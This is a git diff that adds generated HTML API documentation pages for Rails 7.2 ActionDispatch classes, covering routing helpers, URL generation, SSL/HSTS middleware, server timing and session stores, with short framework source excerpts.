+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + from_requirements(requirements) + +

+ + +
+

Returns a Route matching the given requirements, or nil if none are found.

+ +

This is intended for use by tools such as Language Servers.

+ +

Given the routes are defined as:

+ +

resources :posts

+ +

Then the following will return the Route for the show action:

+ +

Rails.application.routes.from_requirements(controller: β€œposts”, action: β€œshow”)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/route_set.rb, line 29
+      def from_requirements(requirements)
+        routes.find { |route| route.requirements == requirements }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/CustomUrlHelper.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/CustomUrlHelper.html new file mode 100644 index 0000000000..a6d5f48288 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/CustomUrlHelper.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Routing::RouteSet::CustomUrlHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/Dispatcher.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/Dispatcher.html new file mode 100644 index 0000000000..1100989152 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/Dispatcher.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Routing::RouteSet::Dispatcher +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/Generator.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/Generator.html new file mode 100644 index 0000000000..e1c13a106c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/Generator.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Routing::RouteSet::Generator +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/MountedHelpers.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/MountedHelpers.html new file mode 100644 index 0000000000..b09dfc2610 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/MountedHelpers.html @@ -0,0 +1,54 @@ +--- +title: ActionDispatch::Routing::RouteSet::MountedHelpers +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection.html new file mode 100644 index 0000000000..bb469e29f5 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection.html @@ -0,0 +1,73 @@ +--- +title: ActionDispatch::Routing::RouteSet::NamedRouteCollection +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection/UrlHelper.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection/UrlHelper.html new file mode 100644 index 0000000000..2fe310201b --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection/UrlHelper.html @@ -0,0 +1,73 @@ +--- +title: ActionDispatch::Routing::RouteSet::NamedRouteCollection::UrlHelper +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection/UrlHelper/OptimizedUrlHelper.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection/UrlHelper/OptimizedUrlHelper.html new file mode 100644 index 0000000000..db9b60d736 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/NamedRouteCollection/UrlHelper/OptimizedUrlHelper.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Routing::RouteSet::NamedRouteCollection::UrlHelper::OptimizedUrlHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet/StaticDispatcher.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet/StaticDispatcher.html new file mode 100644 index 0000000000..260c808829 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet/StaticDispatcher.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Routing::RouteSet::StaticDispatcher +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/UrlFor.html b/src/7.2/classes/ActionDispatch/Routing/UrlFor.html new file mode 100644 index 0000000000..6440792081 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/UrlFor.html @@ -0,0 +1,494 @@ +--- +title: ActionDispatch::Routing::UrlFor +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Routing UrlFor

+ +

In config/routes.rb you define URL-to-controller mappings, but the reverse is also possible: a URL can be generated from one of your routing definitions. URL generation functionality is centralized in this module.

+ +

See ActionDispatch::Routing for general information about routing and config/routes.rb.

+ +

Tip: If you need to generate URLs from your models or some other place, then ActionDispatch::Routing::UrlFor is what you’re looking for. Read on for an introduction. In general, this module should not be included on its own, as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).

+ +

URL generation from parameters

+ +

As you may know, some functions, such as ActionController::Base#url_for and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set of parameters. For example, you’ve probably had the chance to write code like this in one of your views:

+ +
<%= link_to('Click here', controller: 'users',
+        action: 'new', message: 'Welcome!') %>
+# => <a href="/users/new?message=Welcome%21">Click here</a>
+
+ +

link_to, and all other functions that require URL generation functionality, actually use ActionDispatch::Routing::UrlFor under the hood. And in particular, they use the ActionDispatch::Routing::UrlFor#url_for method. One can generate the same path as the above example by using the following code:

+ +
include ActionDispatch::Routing::UrlFor
+url_for(controller: 'users',
+        action: 'new',
+        message: 'Welcome!',
+        only_path: true)
+# => "/users/new?message=Welcome%21"
+
+ +

Notice the only_path: true part. This is because UrlFor has no information about the website hostname that your Rails app is serving. So if you want to include the hostname as well, then you must also pass the :host argument:

+ +
include UrlFor
+url_for(controller: 'users',
+        action: 'new',
+        message: 'Welcome!',
+        host: 'www.example.com')
+# => "http://www.example.com/users/new?message=Welcome%21"
+
+ +

By default, all controllers and views have access to a special version of url_for, that already knows what the current hostname is. So if you use url_for in your controllers or your views, then you don’t need to explicitly pass the :host argument.

+ +

For convenience, mailers also include ActionDispatch::Routing::UrlFor. So within mailers, you can use url_for. However, mailers cannot access incoming web requests in order to derive hostname information, so you have to provide the :host option or set the default host using default_url_options. For more information on url_for in mailers see the ActionMailer::Base documentation.

+ +

URL generation for named routes

+ +

UrlFor also allows one to access methods that have been auto-generated from named routes. For example, suppose that you have a β€˜users’ resource in your config/routes.rb:

+ +
resources :users
+
+ +

This generates, among other things, the method users_path. By default, this method is accessible from your controllers, views, and mailers. If you need to access this auto-generated method from other places (such as a model), then you can do that by including Rails.application.routes.url_helpers in your class:

+ +
class User < ActiveRecord::Base
+  include Rails.application.routes.url_helpers
+
+  def base_uri
+    user_path(self)
+  end
+end
+
+User.find(1).base_uri # => "/users/1"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 111
+      def initialize(...)
+        @_routes = nil
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + route_for(name, *args) + +

+ + +
+

Allows calling direct or regular named route.

+ +
resources :buckets
+
+direct :recordable do |recording|
+  route_for(:bucket, recording.bucket)
+end
+
+direct :threadable do |threadable|
+  route_for(:recordable, threadable.parent)
+end
+
+ +

This maintains the context of the original caller on whether to return a path or full URL, e.g:

+ +
threadable_path(threadable)  # => "/buckets/1"
+threadable_url(threadable)   # => "http://example.com/buckets/1"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 222
+      def route_for(name, *args)
+        public_send(:"#{name}_url", *args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_for(options = nil) + +

+ + +
+

Generate a URL based on the options provided, default_url_options, and the routes defined in config/routes.rb. The following options are supported:

+
  • +

    :only_path - If true, the relative URL is returned. Defaults to false.

    +
  • +

    :protocol - The protocol to connect to. Defaults to "http".

    +
  • +

    :host - Specifies the host the link should be targeted at. If :only_path is false, this option must be provided either explicitly, or via default_url_options.

    +
  • +

    :subdomain - Specifies the subdomain of the link, using the tld_length to split the subdomain from the host. If false, removes all subdomains from the host part of the link.

    +
  • +

    :domain - Specifies the domain of the link, using the tld_length to split the domain from the host.

    +
  • +

    :tld_length - Number of labels the TLD id composed of, only used if :subdomain or :domain are supplied. Defaults to ActionDispatch::Http::URL.tld_length, which in turn defaults to 1.

    +
  • +

    :port - Optionally specify the port to connect to.

    +
  • +

    :anchor - An anchor name to be appended to the path.

    +
  • +

    :params - The query parameters to be appended to the path.

    +
  • +

    :path_params - The query parameters that will only be used for the named dynamic segments of path. If unused, they will be discarded.

    +
  • +

    :trailing_slash - If true, adds a trailing slash, as in "/archive/2009/".

    +
  • +

    :script_name - Specifies application path relative to domain root. If provided, prepends application path.

    +
+ +

Any other key (:controller, :action, etc.) given to url_for is forwarded to the Routes module.

+ +
url_for controller: 'tasks', action: 'testing', host: 'somehost.org', port: '8080'
+# => 'http://somehost.org:8080/tasks/testing'
+url_for controller: 'tasks', action: 'testing', host: 'somehost.org', anchor: 'ok', only_path: true
+# => '/tasks/testing#ok'
+url_for controller: 'tasks', action: 'testing', trailing_slash: true
+# => 'http://somehost.org/tasks/testing/'
+url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
+# => 'http://somehost.org/tasks/testing?number=33'
+url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
+# => 'http://somehost.org/myapp/tasks/testing'
+url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
+# => '/myapp/tasks/testing'
+
+ +

Missing routes keys may be filled in from the current request’s parameters (e.g. :controller, :action, :id, and any other parameters that are placed in the path). Given that the current action has been reached through GET /users/1:

+ +
url_for(only_path: true)                        # => '/users/1'
+url_for(only_path: true, action: 'edit')        # => '/users/1/edit'
+url_for(only_path: true, action: 'edit', id: 2) # => '/users/2/edit'
+
+ +

Notice that no :id parameter was provided to the first url_for call and the helper used the one from the route’s path. Any path parameter implicitly used by url_for can always be overwritten like shown on the last url_for calls.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 178
+      def url_for(options = nil)
+        full_url_for(options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_options() + +

+ + +
+

Hook overridden in controller to add request information with default_url_options. Application logic should not go into url_options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 118
+      def url_options
+        default_url_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + optimize_routes_generation?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 227
+        def optimize_routes_generation?
+          _routes.optimize_routes_generation? && default_url_options.empty?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + _routes_context() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 239
+        def _routes_context # :doc:
+          self
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _with_routes(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/url_for.rb, line 232
+        def _with_routes(routes) # :doc:
+          old_routes, @_routes = @_routes, routes
+          yield
+        ensure
+          @_routes = old_routes
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/SSL.html b/src/7.2/classes/ActionDispatch/SSL.html new file mode 100644 index 0000000000..7500405d38 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/SSL.html @@ -0,0 +1,93 @@ +--- +title: ActionDispatch::SSL +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch SSL

+ +

This middleware is added to the stack when config.force_ssl = true, and is passed the options set in config.ssl_options. It does three jobs to enforce secure HTTP requests:

+
  1. +

    TLS redirect: Permanently redirects http:// requests to https:// with the same URL host, path, etc. Enabled by default. Set config.ssl_options to modify the destination URL (e.g. redirect: { host: "secure.widgets.com", port: 8080 }), or set redirect: false to disable this feature.

    + +

    Requests can opt-out of redirection with exclude:

    + +
    config.ssl_options = { redirect: { exclude: -> request { request.path == "/up" } } }
    +
    + +

    Cookies will not be flagged as secure for excluded requests.

    +
  2. +

    Secure cookies: Sets the secure flag on cookies to tell browsers they must not be sent along with http:// requests. Enabled by default. Set config.ssl_options with secure_cookies: false to disable this feature.

    +
  3. +

    HTTP Strict Transport Security (HSTS): Tells the browser to remember this site as TLS-only and automatically redirect non-TLS requests. Enabled by default. Configure config.ssl_options with hsts: false to disable.

    + +

    Set config.ssl_options with hsts: { ... } to configure HSTS:

    +
    • +

      expires: How long, in seconds, these settings will stick. The minimum required to qualify for browser preload lists is 1 year. Defaults to 2 years (recommended).

      +
    • +

      subdomains: Set to true to tell the browser to apply these settings to all subdomains. This protects your cookies from interception by a vulnerable site on a subdomain. Defaults to true.

      +
    • +

      preload: Advertise that this site may be included in browsers’ preloaded HSTS lists. HSTS protects your site on every visit except the first visit since it hasn’t seen your HSTS header yet. To close this gap, browser vendors include a baked-in list of HSTS-enabled sites. Go to hstspreload.org to submit your site for inclusion. Defaults to false.

      +
    + +

    To turn off HSTS, omitting the header is not enough. Browsers will remember the original HSTS directive until it expires. Instead, use the header to tell browsers to expire HSTS immediately. Setting hsts: false is a shortcut for hsts: { expires: 0 }.

    +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/ServerTiming.html b/src/7.2/classes/ActionDispatch/ServerTiming.html new file mode 100644 index 0000000000..5fd232e904 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/ServerTiming.html @@ -0,0 +1,167 @@ +--- +title: ActionDispatch::ServerTiming +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/server_timing.rb, line 52
+    def initialize(app)
+      @app = app
+      @subscriber = Subscriber.instance
+      @subscriber.ensure_subscribed
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/server_timing.rb, line 58
+    def call(env)
+      response = nil
+      events = @subscriber.collect_events do
+        response = @app.call(env)
+      end
+
+      headers = response[1]
+
+      header_info = events.group_by(&:name).map do |event_name, events_collection|
+        "%s;dur=%.2f" % [event_name, events_collection.sum(&:duration)]
+      end
+
+      if headers[ActionDispatch::Constants::SERVER_TIMING].present?
+        header_info.prepend(headers[ActionDispatch::Constants::SERVER_TIMING])
+      end
+      headers[ActionDispatch::Constants::SERVER_TIMING] = header_info.join(", ")
+
+      response
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session.html b/src/7.2/classes/ActionDispatch/Session.html new file mode 100644 index 0000000000..af4bea0e89 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session.html @@ -0,0 +1,94 @@ +--- +title: ActionDispatch::Session +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/AbstractSecureStore.html b/src/7.2/classes/ActionDispatch/Session/AbstractSecureStore.html new file mode 100644 index 0000000000..4913efd75d --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/AbstractSecureStore.html @@ -0,0 +1,129 @@ +--- +title: ActionDispatch::Session::AbstractSecureStore +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + generate_sid() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 102
+      def generate_sid
+        Rack::Session::SessionId.new(super)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/AbstractStore.html b/src/7.2/classes/ActionDispatch/Session/AbstractStore.html new file mode 100644 index 0000000000..268eeb01b7 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/AbstractStore.html @@ -0,0 +1,82 @@ +--- +title: ActionDispatch::Session::AbstractStore +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/CacheStore.html b/src/7.2/classes/ActionDispatch/Session/CacheStore.html new file mode 100644 index 0000000000..a1cb2b810f --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/CacheStore.html @@ -0,0 +1,255 @@ +--- +title: ActionDispatch::Session::CacheStore +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Session CacheStore

+ +

A session store that uses an ActiveSupport::Cache::Store to store the sessions. This store is most useful if you don’t store critical data in your sessions and you don’t need them to live for extended periods of time.

+ +

Options

+
  • +

    cache - The cache to use. If it is not specified, Rails.cache will be used.

    +
  • +

    expire_after - The length of time a session will be stored before automatically expiring. By default, the :expires_in option of the cache is used.

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cache_store.rb, line 23
+      def initialize(app, options = {})
+        @cache = options[:cache] || Rails.cache
+        options[:expire_after] ||= @cache.options[:expires_in]
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + delete_session(env, sid, options) + +

+ + +
+

Remove a session from the cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cache_store.rb, line 49
+      def delete_session(env, sid, options)
+        @cache.delete(cache_key(sid.private_id))
+        @cache.delete(cache_key(sid.public_id))
+        generate_sid
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_session(env, sid) + +

+ + +
+

Get a session from the cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cache_store.rb, line 30
+      def find_session(env, sid)
+        unless sid && (session = get_session_with_fallback(sid))
+          sid, session = generate_sid, {}
+        end
+        [sid, session]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write_session(env, sid, session, options) + +

+ + +
+

Set a session in the cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cache_store.rb, line 38
+      def write_session(env, sid, session, options)
+        key = cache_key(sid.private_id)
+        if session
+          @cache.write(key, session, expires_in: options[:expire_after])
+        else
+          @cache.delete(key)
+        end
+        sid
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/Compatibility.html b/src/7.2/classes/ActionDispatch/Session/Compatibility.html new file mode 100644 index 0000000000..b00169767c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/Compatibility.html @@ -0,0 +1,189 @@ +--- +title: ActionDispatch::Session::Compatibility +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 23
+      def initialize(app, options = {})
+        options[:key] ||= "_session_id"
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + generate_sid() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 28
+      def generate_sid
+        sid = SecureRandom.hex(16)
+        sid.encode!(Encoding::UTF_8)
+        sid
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + initialize_sid() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 35
+      def initialize_sid # :doc:
+        @default_options.delete(:sidbits)
+        @default_options.delete(:secure_random)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/CookieStore.html b/src/7.2/classes/ActionDispatch/Session/CookieStore.html new file mode 100644 index 0000000000..86fe7fe8b2 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/CookieStore.html @@ -0,0 +1,242 @@ +--- +title: ActionDispatch::Session::CookieStore +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Session CookieStore

+ +

This cookie-based session store is the Rails default. It is dramatically faster than the alternatives.

+ +

Sessions typically contain at most a user ID and flash message; both fit within the 4096 bytes cookie size limit. A CookieOverflow exception is raised if you attempt to store more than 4096 bytes of data.

+ +

The cookie jar used for storage is automatically configured to be the best possible option given your application’s configuration.

+ +

Your cookies will be encrypted using your application’s secret_key_base. This goes a step further than signed cookies in that encrypted cookies cannot be altered or read by users. This is the default starting in Rails 4.

+ +

Configure your session store in an initializer:

+ +
Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+
+ +

In the development and test environments your application’s secret_key_base is generated by Rails and stored in a temporary file in tmp/local_secret.txt. In all other environments, it is stored encrypted in the config/credentials.yml.enc file.

+ +

If your application was not updated to Rails 5.2 defaults, the secret_key_base will be found in the old config/secrets.yml file.

+ +

Note that changing your secret_key_base will invalidate all existing session. Additionally, you should take care to make sure you are not relying on the ability to decode signed cookies generated by your app in external applications or JavaScript before changing it.

+ +

Because CookieStore extends Rack::Session::Abstract::Persisted, many of the options described there can be used to customize the session cookie that is generated. For example:

+ +
Rails.application.config.session_store :cookie_store, expire_after: 14.days
+
+ +

would set the session cookie to expire automatically 14 days after creation. Other useful options include :key, :secure, :httponly, and :same_site.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cookie_store.rb, line 64
+      def initialize(app, options = {})
+        options[:cookie_only] = true
+        options[:same_site] = DEFAULT_SAME_SITE if !options.key?(:same_site)
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + delete_session(req, session_id, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cookie_store.rb, line 70
+      def delete_session(req, session_id, options)
+        new_sid = generate_sid unless options[:drop]
+        # Reset hash and Assign the new session id
+        req.set_header("action_dispatch.request.unsigned_session_cookie", new_sid ? { "session_id" => new_sid.public_id } : {})
+        new_sid
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_session(req) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cookie_store.rb, line 77
+      def load_session(req)
+        stale_session_check! do
+          data = unpacked_cookie_data(req)
+          data = persistent_session_id!(data)
+          [Rack::Session::SessionId.new(data["session_id"]), data]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/CookieStore/SessionId.html b/src/7.2/classes/ActionDispatch/Session/CookieStore/SessionId.html new file mode 100644 index 0000000000..553415b63a --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/CookieStore/SessionId.html @@ -0,0 +1,122 @@ +--- +title: ActionDispatch::Session::CookieStore::SessionId +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + cookie_value
+ + + + +

Class Public methods

+ +
+

+ + new(session_id, cookie_value = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/cookie_store.rb, line 56
+        def initialize(session_id, cookie_value = {})
+          super(session_id)
+          @cookie_value = cookie_value
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/MemCacheStore.html b/src/7.2/classes/ActionDispatch/Session/MemCacheStore.html new file mode 100644 index 0000000000..baf2132549 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/MemCacheStore.html @@ -0,0 +1,143 @@ +--- +title: ActionDispatch::Session::MemCacheStore +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Session MemCacheStore

+ +

A session store that uses MemCache to implement storage.

+ +

Options

+
  • +

    expire_after - The length of time a session will be stored before automatically expiring.

    +
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb, line 28
+      def initialize(app, options = {})
+        options[:expire_after] ||= options[:expires]
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Session/StaleSessionCheck.html b/src/7.2/classes/ActionDispatch/Session/StaleSessionCheck.html new file mode 100644 index 0000000000..826c694421 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Session/StaleSessionCheck.html @@ -0,0 +1,191 @@ +--- +title: ActionDispatch::Session::StaleSessionCheck +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + extract_session_id(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 50
+      def extract_session_id(env)
+        stale_session_check! { super }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_session(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 46
+      def load_session(env)
+        stale_session_check! { super }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stale_session_check!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/session/abstract_store.rb, line 54
+      def stale_session_check!
+        yield
+      rescue ArgumentError => argument_error
+        if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+          begin
+            # Note that the regexp does not allow $1 to end with a ':'.
+            $1.constantize
+          rescue LoadError, NameError
+            raise ActionDispatch::Session::SessionRestoreError
+          end
+          retry
+        else
+          raise
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/ShowExceptions.html b/src/7.2/classes/ActionDispatch/ShowExceptions.html new file mode 100644 index 0000000000..467862e45a --- /dev/null +++ b/src/7.2/classes/ActionDispatch/ShowExceptions.html @@ -0,0 +1,176 @@ +--- +title: ActionDispatch::ShowExceptions +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch ShowExceptions

+ +

This middleware rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.

+ +

The exceptions app should be passed as a parameter on initialization of ShowExceptions. Every time there is an exception, ShowExceptions will store the exception in env["action_dispatch.exception"], rewrite the PATH_INFO to the exception status code, and call the Rack app.

+ +

In Rails applications, the exceptions app can be configured with config.exceptions_app, which defaults to ActionDispatch::PublicExceptions.

+ +

If the application returns a response with the X-Cascade header set to "pass", this middleware will send an empty response as a result with the correct status code. If any exception happens inside the exceptions app, this middleware catches the exceptions and returns a failsafe response.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, exceptions_app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/show_exceptions.rb, line 26
